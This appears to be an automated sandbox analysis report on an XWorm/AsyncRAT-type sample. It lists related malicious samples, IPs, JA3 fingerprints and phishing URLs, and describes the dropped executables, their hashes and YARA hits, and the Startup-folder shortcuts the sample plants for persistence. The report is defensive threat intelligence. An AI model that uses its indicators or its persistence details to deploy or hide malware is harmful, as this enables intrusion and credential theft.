	d3ca1c9cdcf0f664f4c4b469ce935febb6d974693647c.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	PO 2024-91113.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	_GG__F_ __S______S_S F_S__O_ ___SO_O_.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
TUT-ASUS	80BvHOM51j.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	208.95.112.1
	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	208.95.112.1
	s3OBQLA3xR.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	W1FREE.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	Tracking#1Z379W410424496200.vbs	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	facturas vencidas, 650098, 0099, 00976, 009668, 009678, 0056598433.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Orden de Compra 097890.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	PO.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	Purchase_Order.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	4HyAcc2Dct.exe	Get hash	malicious	AgentTesla	Browse	208.95.112.1
SALSGIVERUS	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	147.185.221.23
	7yJsmmW4wS.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	I8YtUAUWeS.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	s3OBQLA3xR.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	W1FREE.exe	Get hash	malicious	XWorm	Browse	147.185.221.23
	dHp58IIEYz.exe	Get hash	malicious	XWorm	Browse	147.185.221.22
	Lr87y2w72r.exe	Get hash	malicious	XWorm	Browse	147.185.221.18
	7LwVrYH7sy.exe	Get hash	malicious	XWorm	Browse	147.185.221.18
	432mtXKD3l.exe	Get hash	malicious	XWorm	Browse	147.185.221.22
	5q4X9fRo4b.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	147.185.221.17

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	8svMXMXNRn.exe	Get hash	malicious	NoCry, XWorm	Browse	149.154.167.220
	80BvHOM51j.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	149.154.167.220
	sB2ClgrGng.exe	Get hash	malicious	Blank Grabber, XWorm	Browse	149.154.167.220
	jcMcDQ11pZ.exe	Get hash	malicious	AsyncRAT, XWorm	Browse	149.154.167.220
	hvnc-CR-SCR-0710.bin.exe	Get hash	malicious	PureCrypter	Browse	149.154.167.220
	hvnc-CR-SCR-0710.bin.exe	Get hash	malicious	PureCrypter	Browse	149.154.167.220
	https://pub-6e60812ea6034887a73a58b17a92a80f.r2.dev/index.html	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://kucoinexplora.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://shawri.weebly.com/	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	https://server.h74w.com/invite/12536668	Get hash	malicious	Unknown	Browse	149.154.167.220

Process:	C:\Users\user\Desktop\mIURiU8n2P.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	155136
Entropy (8bit):	7.794589901193739
Encrypted:	false
SSDEEP:	3072:9QpsyzjtpfkzW/7F/ix/ApwXnDLn10FbxYSC/B9KIZb29b/HvX:9QpsyzjtpfOW/7FO/AKL10FbmlBoIYRn
MD5:	B8479A23C22CF6FC456E197939284069
SHA1:	B2D98CC291F16192A46F363D007E012D45C63300
SHA-256:	18294EE5A6383A48D1BCF2703F17D815529DF3A17580E027C3EFEA1800900E8F
SHA-512:	786CD468CE3723516DC869B09E008EC5D35D1F0C1A61E70083A3BE15180866BE637BD7D8665C2F0218C56875A0EE597C277E088F77DD403BDD2182D06BAD3BD4
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 92% Antivirus: Virustotal, Detection: 82%, Browse
Preview:	MZ......................@.......................................hr......!..L.!This program cannot be run in DOS mode....$........{o..............q.......q..............o.......o...............o......Rich............PE..L......f.....................N............... ....@.......................................@.................................P9..x....@..8,...................p.......8..8............................................ ...............................text............................... ..`.rdata..@.... ......................@..@.rsrc...8,...@......................@..@.reloc.......p.......\..............@..B........................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\Public\DeadROOTkit.exe

Download File

Process:	C:\Users\user\Desktop\mIURiU8n2P.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	43520
Entropy (8bit):	5.571588653306265
Encrypted:	false
SSDEEP:	768:8kQn3SBsJVCm+1pout8PKiFF+g9h7ey96FOChJ8gL7Zs6r:83dJYDLqvFn9wy96FOCsg7
MD5:	7DD98FC2976EE270A278E1A9A28EEFAE
SHA1:	0497EE045226B2D310C7678ED055EEEDBC88DC77
SHA-256:	5711B50667B4DE000C8031724427EC6CD00B41B760CA1608421DC47B549E2093
SHA-512:	94CAB0F684F79E7ADB6BEA43A909D9621A2EF6BF223FBF4650B040766E7EDFC95D77F62AA852EFCCB7752442E96182329934EEE58AD4B8F579A75BD8414D984C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\Public\DeadROOTkit.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\Public\DeadROOTkit.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\Public\DeadROOTkit.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Public\DeadROOTkit.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 64%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...3..f................................. ........@.. ....................................@.................................L...O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........^..x_............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\Public\DeadXClient.exe

Download File

Process:	C:\Users\user\Desktop\mIURiU8n2P.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	35840
Entropy (8bit):	5.5592928582204815
Encrypted:	false
SSDEEP:	768:uDMfF7zLKYs2Byj54uddqLi9Fk9wWO/hu/222t:ukF7HKYs/1dd9Fk9wWO/4u2i
MD5:	F1976EA02BFFAEF5AC943C2ABBB7426C
SHA1:	DEEEE7D4F336D0BA898B5579720AAF630951A72F
SHA-256:	4353E37A3D60DD30BEEEC61A812A07BA6BFC174A18CDD5A95BE98666DB2F7CF6
SHA-512:	2B21C93EE09865A5C5F365CB945EBC2473A5B8DDCE009302E8F03815D7784AD3A95D615678B3B49E272D235D10C03262F2DDAAEC9DE8A373C0487B7904BD7858
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\Public\DeadXClient.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Public\DeadXClient.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96% Antivirus: Virustotal, Detection: 71%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. ....................................@.................................L...O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........S...L............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\Public\Deadsvchost.exe

Download File

Process:	C:\Users\Public\DeadXClient.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	35840
Entropy (8bit):	5.5592928582204815
Encrypted:	false
SSDEEP:	768:uDMfF7zLKYs2Byj54uddqLi9Fk9wWO/hu/222t:ukF7HKYs/1dd9Fk9wWO/4u2i
MD5:	F1976EA02BFFAEF5AC943C2ABBB7426C
SHA1:	DEEEE7D4F336D0BA898B5579720AAF630951A72F
SHA-256:	4353E37A3D60DD30BEEEC61A812A07BA6BFC174A18CDD5A95BE98666DB2F7CF6
SHA-512:	2B21C93EE09865A5C5F365CB945EBC2473A5B8DDCE009302E8F03815D7784AD3A95D615678B3B49E272D235D10C03262F2DDAAEC9DE8A373C0487B7904BD7858
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\Public\Deadsvchost.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\Public\Deadsvchost.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 96% Antivirus: Virustotal, Detection: 71%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f................................. ........@.. ....................................@.................................L...O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........S...L............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\AppData\Local\DeadROOTkit.exe

Download File

Process:	C:\Users\Public\DeadROOTkit.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	43520
Entropy (8bit):	5.571588653306265
Encrypted:	false
SSDEEP:	768:8kQn3SBsJVCm+1pout8PKiFF+g9h7ey96FOChJ8gL7Zs6r:83dJYDLqvFn9wy96FOCsg7
MD5:	7DD98FC2976EE270A278E1A9A28EEFAE
SHA1:	0497EE045226B2D310C7678ED055EEEDBC88DC77
SHA-256:	5711B50667B4DE000C8031724427EC6CD00B41B760CA1608421DC47B549E2093
SHA-512:	94CAB0F684F79E7ADB6BEA43A909D9621A2EF6BF223FBF4650B040766E7EDFC95D77F62AA852EFCCB7752442E96182329934EEE58AD4B8F579A75BD8414D984C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: C:\Users\user\AppData\Local\DeadROOTkit.exe, Author: Joe Security Rule: JoeSecurity_GenericDownloader_1, Description: Yara detected Generic Downloader, Source: C:\Users\user\AppData\Local\DeadROOTkit.exe, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: C:\Users\user\AppData\Local\DeadROOTkit.exe, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: C:\Users\user\AppData\Local\DeadROOTkit.exe, Author: ditekSHen
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 88% Antivirus: Virustotal, Detection: 64%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...3..f................................. ........@.. ....................................@.................................L...O.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........^..x_............................................................(......(.....s.........s.........s.........s............0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0..........~....o.....+....0............(....(.....+......0...........(.....+....0...............(.....+....0...........(.....+....0................-.(...+.+.+...+...0...........................(.....0.. .......~.........-.(...+.....~.....+....(.....0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Deadsvchost.exe.log

Download File

Process:	C:\Users\Public\Deadsvchost.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	654
Entropy (8bit):	5.380476433908377
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khap+92n4MNQp3/VXM5gXu9tv:ML9E4KQwKDE4KGKZI6Kh6+84xp3/VclT
MD5:	30E4BDFC34907D0E4D11152CAEBE27FA
SHA1:	825402D6B151041BA01C5117387228EC9B7168BF
SHA-256:	A7B8F7FFB4822570DB1423D61ED74D7F4B538CE73521CC8745BC6B131C18BE63
SHA-512:	89FBCBCDB0BE5AD7A95685CF9AA4330D5B0250440E67DC40C6642260E024F52A402E9381F534A9824D2541B98B02094178A15BF2320148432EDB0D09B5F972BA
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\04de61553901f06e2f763b6f03a6f65a\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\mIURiU8n2P.exe.log

Download File

Process:	C:\Users\user\Desktop\mIURiU8n2P.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	5.389928136181357
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6Kh6+84xp3/VclT:MxHKQ71qHGIs0HKCYHKGSI6o6+vxp3/E
MD5:	6B2359BF987F4BDAF6CB014F63217859
SHA1:	3894B16E010FEFF2E71BEE0274746FC34C57C1DF
SHA-256:	ED763CED7BDAE1851B6A82D1D3685E9CC94937ADADD492DD2C1AC0AB639227FD
SHA-512:	C440BE0810F8CF29ADB6E816DA07A673C1E60E926926B2E863AFE7529C2D5EDB6118335C535CD0B4F0F7D7D6E5FE9801328A37FA4012F7D4B737F6F099A1489D
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64

C:\Users\user\AppData\Local\Microsoft\Vault\UserProfileRoaming\Latest.dat

Download File

Process:	C:\Windows\System32\lsass.exe
File Type:	very short file (no magic)
Category:	modified
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	93B885ADFE0DA089CDF634904FD59F71
SHA1:	5BA93C9DB0CFF93F52B521D7420E43F6EDA2784F
SHA-256:	6E340B9CFFB37A989CA544E6BB780A2C78901D3FB33738768511A30617AFA01D
SHA-512:	B8244D028981D693AF7B456AF8EFA4CAD63D282E19FF14942C246E50D9351D22704A802A71C3580B6370DE4CEB293C324A8423342557D4E5C38438F0E36910EE
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\Log.tmp

Download File

Process:	C:\Users\Public\DeadROOTkit.exe
File Type:	Generic INItialization configuration [WIN]
Category:	modified
Size (bytes):	64
Entropy (8bit):	3.6722687970803873
Encrypted:	false
SSDEEP:	3:rRSFYJKXzovNsr42VjFYJKXzovuEXn:EFYJKDoWr5FYJKDoG+n
MD5:	DE63D53293EBACE29F3F54832D739D40
SHA1:	1BC3FEF699C3C2BB7B9A9D63C7E60381263EDA7F
SHA-256:	A86BA2FC02725E4D97799A622EB68BF2FCC6167D439484624FA2666468BBFB1B
SHA-512:	10AB83C81F572DBAA99441D2BFD8EC5FF1C4BA84256ACDBD24FEB30A33498B689713EBF767500DAAAD6D188A3B9DC970CF858A6896F4381CEAC1F6A74E1603D0
Malicious:	false
Preview:	....### explorer ###..[WIN]r[WIN]....### explorer ###..r[WIN]r

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wjc1kjd.roa.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_auy5zpai.zou.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_g1zi1ylq.sxc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h0hslumj.g1z.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_m5tuieky.nv0.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_r31zhdrs.qi5.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wf0oqb1l.1ll.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yfhoexuy.5vr.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeadROOTkit.lnk

Download File

Process:	C:\Users\Public\DeadROOTkit.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sun Oct 13 16:15:44 2024, mtime=Sun Oct 13 16:15:47 2024, atime=Sun Oct 13 16:15:47 2024, length=43520, window=hide
Category:	dropped
Size (bytes):	981
Entropy (8bit):	5.062291866025137
Encrypted:	false
SSDEEP:	24:83/HM62jXRcA5cAvDf2S/7tlpcG9qyFm:806gXRPb2S/RlWG0yF
MD5:	DBCF2154DB50EA11951CA7A7224617B2
SHA1:	79D9AC8C2DA5F62330278F2BF25B32CFB6A982C6
SHA-256:	4EDE7135774108017AD069FBFFC67C6BEF1075BBD5B31500CF6A3AEEC1CB3000
SHA-512:	594C45C132E526ABA6A5819C2BC816354E71FF8A5FB41FB04347537C0CB48400639412B6E475B7A93C296402108C8AB73AE60802B2E3C0C6DB299C2515E7A0EC
Malicious:	false
Preview:	L..................F.... ....B......n.......n..............................z.:..DG..Yr?.D..U..k0.&...&......vk.v.....-.h......0.........t...CFSF..1.....CW.^..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......CW.^MY............................%..A.p.p.D.a.t.a...B.P.1.....MY...Local.<......CW.^MY.....b......................n..L.o.c.a.l.....l.2.....MY.. .DEADRO~1.EXE..P......MY..MY............................'...D.e.a.d.R.O.O.T.k.i.t...e.x.e.......[...............-.......Z............[b......C:\Users\user\AppData\Local\DeadROOTkit.exe..'.....\.....\.....\.....\.....\.....\.L.o.c.a.l.\.D.e.a.d.R.O.O.T.k.i.t...e.x.e.............:...........\|....I.J.H..K..:...`.......X.......701188...........hT..CrF.f4... .M.5......,.......hT..CrF.f4... .M.5......,..................1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.2.6.5.8.-.3.6.9.3.4.0.5.1.1.7.-.2.4.7.6.7.5.6.6.3.4.-.1.0.0.2.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Deadsvchost.lnk

Download File

Process:	C:\Users\Public\DeadXClient.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Sun Oct 13 16:15:03 2024, mtime=Sun Oct 13 16:15:03 2024, atime=Sun Oct 13 16:15:03 2024, length=35840, window=hide
Category:	dropped
Size (bytes):	1003
Entropy (8bit):	4.639017043994561
Encrypted:	false
SSDEEP:	12:8rTcFUlGInwlCICHqXYU2cXnYACmGlM8fCjA47z9KbgkNv9UNlpuPP44t2YZ/ele:8rTpGwwj2uh4GAUzqnvClpvqyFm
MD5:	7D68C6F297EF63FB96BBBA668BB4D92E
SHA1:	BB25DD90E88C5D0028D19930946C36FC28F6755C
SHA-256:	C1DC6B98B4877962FBD84ECF8697CF9672D1D604B9A4C111DEE9D04A0AE84F6D
SHA-512:	C7D38E1898692854FDB23C1DFCB9EEB98E21279277FB4F7734D2DE2E12E787369E402E2528E24A62D2CF07B6FED5A032FB4460E864888399DE3DCBA1CC717592
Malicious:	false
Preview:	L..................F.... ....0q.....0q.....0q.................................P.O. .:i.....+00.../C:\...................x.1.....CW;^..Users.d......OwHMY.....................:.....K...U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....\|.1.....MY....Public..f......O.IMY......+...............<......4..P.u.b.l.i.c...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.6.....l.2.....MY. .DEADSV~1.EXE..P......MY.MY.....S......................q\.D.e.a.d.s.v.c.h.o.s.t...e.x.e.......N...............-.......M............[b......C:\Users\Public\Deadsvchost.exe........\.....\.....\.....\.....\.....\.....\.....\.P.u.b.l.i.c.\.D.e.a.d.s.v.c.h.o.s.t...e.x.e.............!............v...cM.jVD.Es.!...`.......X.......701188...........hT..CrF.f4... .V.T..b...,.......hT..CrF.f4... 